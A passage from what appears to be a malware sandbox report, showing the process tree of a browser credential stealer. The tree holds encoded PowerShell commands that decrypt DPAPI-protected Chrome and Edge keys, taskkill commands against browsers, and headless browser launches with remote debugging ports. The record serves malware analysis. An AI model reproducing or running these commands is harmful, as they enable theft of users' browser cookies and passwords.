dQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5256
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:484
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4480
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2156
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1512
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6516
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5276
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        taskkill /F /IM chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6404
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3688
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          taskkill /F /IM msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2604
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe 2>nul"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6980
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            taskkill /F /IM brave.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5188
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9303 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4864
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb530ec728,0x7ffb530ec734,0x7ffb530ec740
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2812
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2212,i,6696499596568902297,15259025298882109826,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1396
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2212,i,6696499596568902297,15259025298882109826,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • System Time Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6724
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2212,i,6696499596568902297,15259025298882109826,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:13
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9303 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2212,i,6696499596568902297,15259025298882109826,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9303 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2212,i,6696499596568902297,15259025298882109826,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9303 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2212,i,6696499596568902297,15259025298882109826,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2212,i,6696499596568902297,15259025298882109826,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9824 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x250,0x27c,0x7ffb47d5c188,0x7ffb47d5c194,0x7ffb47d5c1a0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
